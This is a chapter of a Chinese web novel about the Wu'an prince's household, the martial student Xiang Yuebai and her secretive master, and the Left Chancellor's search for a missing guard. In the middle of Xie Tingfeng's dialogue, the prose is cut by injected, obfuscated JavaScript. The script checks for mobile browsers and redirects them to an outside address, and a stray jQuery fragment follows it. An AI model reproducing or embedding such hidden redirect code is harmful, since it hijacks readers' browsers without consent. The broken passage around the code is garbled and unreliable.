小厮安静迅速地收拾着桌上残局,王府下人不多,但都有种雷厉风行的战场作风。
武安郡王岑义安卸甲回都也有小十年了,他自己住在楚都,连个能打拳的人都没有,很是孤独寂寞。
直到独子岑道也到楚都来,本以为能活动活动筋骨,却没想到儿子整日扎在国子监里,每每回家都深更半夜了。
岑老王爷很寂寞。
但最近不了,最近府里来了个小姑娘。
小丫头年纪不大,人倒挺狠,他听岑道说了国子监里的惊心动魄,尤其是抓了郭家老二来挡那段听得他忍不住拍桌叫好。
又听她在京兆府直接把刀抵在了左相脖子上,更是眼前一亮。
于是当谢听风说想把弟子托付几天的时候,岑义安爽快地答应了。
岑义安征战沙场多年,见得多不要命的人,但不要命不稀奇,少见的是敢豁出命去,也敢拼命活下来的人。
他更欣赏后者。
老陈的伤药起效快,小姑娘很快就活蹦乱跳。
虽然暂时不能跟他过招,但岑义安对领她打打八段锦五禽戏也很兴致盎然。
相月白似乎少有跟年长长辈相处的经验,一开始还有些拘谨,但见他随和,很快就大胆起来。
拎着岑义安送的小雀去演武场看老兵们练武过招,后来还易容成王府仆役随岑义安上街遛鸟。
跟他打八段锦也不嫌无聊,反而在过程中调息,若有所悟。
岑义安眼光一向毒辣,这小姑娘很有武学天赋。
有勇有谋,还有天赋肯上进,为人不傲慢。说实话,要不是相月白有师父又一心念书,岑义安都动了把她收入麾下培养的念头了。
但很快,武安郡王就发现了一个问题。
小姑娘身边有暗卫跟随,还是岑道的暗卫。
不管是在府中打八段锦,还是上街遛鸟,都有暗卫的影子。
岑义安心下生疑,但又不能确定暗卫是跟着他,还是单跟着这孩子。
毕竟他那个儿子实在跟个木头一样。
直到岑小钧来把练武场上专门陪他对打的护卫给调走了,岑义安才惊奇地确定下来。
郡王府毕竟还是他这个武安郡王的地盘,他使了些小手段,果然就诈出自家儿子来。
“道儿,难得见你这般啊。”岑义安简直啧啧称奇。
岑道自小跟他在边境长大,他疏于教导,把这孩子养成了个冷硬性情。
还从未见过他对谁这般上心过。
岑道面不改色:“小白是国子监学生,我作为师长理应看顾她。”
岑义安:“哦哟哟别说,别说,别让那些被你气走的世家贵女们听到这话,不然名明天上朝我要被世家们砍成臊子了。”
岑道:“……”
他头疼道:“我何时气过她们,我亦劝过她们留下。”
这两年也有世家想拉拢岑家,因此让家中待嫁的女儿入国子监,想着近水楼台先得月。
却没成想,岑道是个茅坑里的石头,完全不懂怜香惜玉,还让他们的女儿练武!愣是气得那几个世家又把人接走了。
看见老王爷高高挑起的眉毛和恨铁不成钢的眼神,岑道立即判断出他爹下一句又是骂他木头,索性先发制人:
“所以您支开岑小钧叫相月白离开,又支开黎叔,叫岑小钧找不到人,就是为了看我会不会着急?”
闻言,岑义安更加乐不可支:“是啊,小岑将军多沉稳一人啊,流矢当面都不崩于色,伤口血拉拉的都得先砍了人再包,本王可真没见过几回你着急什么样。”
也不是没着急过。
岑道默然,上一世岑家一夜之间变成叛国贼之时,他差点就拎刀闯宫禁砍了楚帝。
见岑义安还欲揶揄他,岑道只得道:“我与谢门主一见如故,只是替他看顾几天徒弟,爹,您别拿这事说笑。”
“谁跟你说笑了,爹说真的,你要是真对……”
岑道忽地抬首,目光凝重地望着岑义安,细看之下,竟藏着一丝悲哀:“爹。”
因为他们是岑家。
所以注定会走向覆灭的结局。
他……怎能轻易将别人牵扯进来呢?
这眼神让岑义安意识到什么,他最终叹了口气:“我不说了,不说了,要是真有缘分,也不必我撮合。道儿,看咱家造化吧。”
岑道沉默不语。
他眼前再度浮现了上一世的盛安二十四年底,在刑部狱的情形。
武安郡王拿着折子进宫后,就再也没回来。岑道正想去寻,却听“砰”地一声,房门踹开,刑部来人押他。
他再见到父亲时已受过刑,压着他的狱卒和枷锁全都粘在流血的伤口上,轻微一动,便是皮肉撕裂之痛。
他跪在老王爷面前,尚未言语,先吐了口血。
说来实在可笑,武将世家又如何?失了兵权,倾覆也只在一夕之间。
岑道仰起头,望向被北境视为战神的武安郡王。
可岑义安只是温和地凝视着他。
“父亲。”岑道霎时明白了。
“道儿。”岑义安消瘦许多,曾经健硕宽厚的双肩微微塌下来,但脊背依旧挺直。
“你已经平安长大,日后记得好好吃饭——孩子,你不曾辜负任何人。”
这是武安郡王留给世子唯一的遗言。
……
当夜难眠的不只是郡王府。
谢听风半梦半醒间,忽然听见窗户被砸响了。
谢听风忍无可忍地打开窗:“干什么!半夜不睡觉干什么!”
见窗外是小弟子熟悉的讨好的笑容,谢听风深吸一口气,把被吵醒的郁结憋了回去,冷着脸放她进来。
“你都二十了啊我那祖宗,让人看见像什么话!”
一身夜行衣的相月白充耳不闻:“我这轻功师父你还不放心吗?”
她甫一落地,便理直气壮地反告谢听风:“因为我有事情想不明白啊,我等不到明天再问了。”
谢听风关了窗,转身瞪她一眼,“什么事?”
相月白早就准备好了般“突突突”道:“您说过和陛下有些渊源,但您为什么不告诉我您是在为陛下做事?”
“你知道那么多只会更危险,我告诉你干嘛。”谢大门主甩了甩茶盖上的水珠,眼皮不抬一下。
带她去见胥知书之前,他就知道,这孩子回来定要问个明白。
相月白性格倔强,凡事都要打破砂锅问到底,门派又向来惯着她,所以多少养的性子不依不饶了些。
比如现在。
这小兔崽子脑子里装了有上万个“为什么”。
“为什么大师兄能知道?”相月白问,“他替您管了那么多门派杂务和铺子,您跟谁有往来大师兄应当是最清楚的人。您不告诉我,我就去缠着大师兄,早晚也能问到。”
谢听风差点噎住:“……你大师兄就比我小几岁,我捡他回来是想当护卫培养的,谁知道后来越捡越多,这才干脆成立了个门派。”
相月白还是不服:“大师兄能帮你办事,那我也能啊!”
谢听风肺都快给她气炸了:“小毛丫头办个屁事!上好你的学吧!”
相月白挨了一顿削,仍坚韧不拔地追问,“师父,您跟陛下到底是什么关系?您到底是什么人?”
这话相月白想问很久了,自上一世就想问,奈何那时已无人能解答她的疑问,对谢听风有所了解的江湖人更是讳莫如深。
她想不明白,她的师门上笼罩的迷雾究竟是什么。
谢听风默不作声,却也放下了凉透了的岭南雾青。
他一只手搭在屈起的膝上,思考良久,才开口道:“我为他办事,仅此而已。”
“至于我是谁……我是你师父。小白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281324|198363||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不管我有几重身份,我首先,是你们的师父。”
月色之下,谢听风鬓边几缕白发若有隐现,昭显了他这些年的操劳。
谢门主的模样是标致的,三庭五眼的君子相,早些年很是潇洒恣意人间客。
可如今他已不再年轻气盛,上扬眼尾使他不笑时便凌厉,随着年岁更迭沉淀下来,则更显威严与沉稳。
有时师父冷下脸来,连最不怕死的三师兄都噤若寒蝉。
但此时谢听风说这番话的模样,却是称得上温和且认真的。
他在承诺,不论他身在何种阵营,他都永远是他们的家人。
相月白叹了口气,心想师父不愿说便算了。
得到一个不算答案的答案,好歹安心几分。
她总能查到的。
*
左相府是前朝王府,红木镂空的窗棂后依稀隐现一个少女身影,她身着鹅黄外衫,挽起袖子专注地碾磨着什么。
“哥哥要掩盖药气,所以多放一些檀香……”她絮絮叨叨地捻起细碎香料,动作小心地称着分量。
“小白喜欢的这个加侧柏和甘松……”
正当两款香都快制成时,院门口传来压抑的咳嗽声,虞裳听了忙起身去迎,好像已经知道来者是何人。
“哥哥!”她推开门,正瞧见虞子德从门外走进来。
“吵到你了?咳、咳咳。”虞子德抬袖掩唇,脸色苍白没有血色。
进门就看见满桌香料和制香工具,虞子德眼珠一扫而过,眼底情绪不明。虞裳动作熟练地把各类香料搬进里屋,给虞子德斟了杯热茶。
“没有,我在调香呢。哥哥,你今日喝药了吗?”
虞子德面不改色:“喝了。”
虞裳:“骗人是小狗,你身上没有药味。”
虞子德失笑:“我若是小狗,你也是狗鼻子。”
虞裳一听就要叉腰教训他:“你不要转移话题……”
“好了好了,等会元叔会盯着我喝的。”他忙拱手求饶,再次不动声色地转移了话题,“你调了什么新香?闻着好像跟我的香囊不一样。”
午间日光正好,直直照进左相府西院的堂屋,虞裳喜欢晒太阳,所以门窗全开,香料古方也都拿出来铺开晾晒。
她坐在一地日光中,十分开心地道:“是给小白的!就是相月白,国子监封锁的日子……一直是她在陪我。我不会什么,唯独香道略懂,就想着制香以谢她。”
封锁那几日人心惶惶,虞裳眼梢唇角微微下垂,又想起什么,手撑在下巴。
“哥哥素不关心香道,怎么突然问起?”
虞子德沉默许久,忽地笑了笑:“突然闻到不一样的香不习惯罢了。难得见你这么喜欢一个同窗,那做兄长的忍痛割爱一下,我的香囊先不必做了,你先多做几个给相姑娘吧。”
语罢,虞子德要来了他那份的香方,说是想自己试试看,而后很快离开了。
西院外,虞水等候在门口,见虞子德一出来便上前汇报:
“主子,已确认西诏使者说的确实是您的马车‘闻’起来很厉害,说这话的是西诏的天鹰大使,布拉古。
“九味楼那边也查证过,几个西诏使者确实因为差点被一个楚人撞到而当街把人砸下马,并且把那个楚人带了回去。
“京兆府那边并没有接到消息,因为当时巡逻士兵离九味楼很远,老百姓知道是西诏来的宫中使者,也都不敢招惹。”
“根据身形和路线,”虞水顿了顿,低声道,“基本可以确认,西诏使者带回去的人就是周家派去取账本的护卫周肆。”
话音落下,左相的狭冷双眸眯得更冷了些。
“加派三倍暗卫保护二小姐。”虞子德捏紧香方,声音隐隐透着烦躁,“传令下去,继续大范围搜捕凶犯,暗中摸排西诏使者所住别苑,一旦发现目标,不惜一切代价将目标带出来。”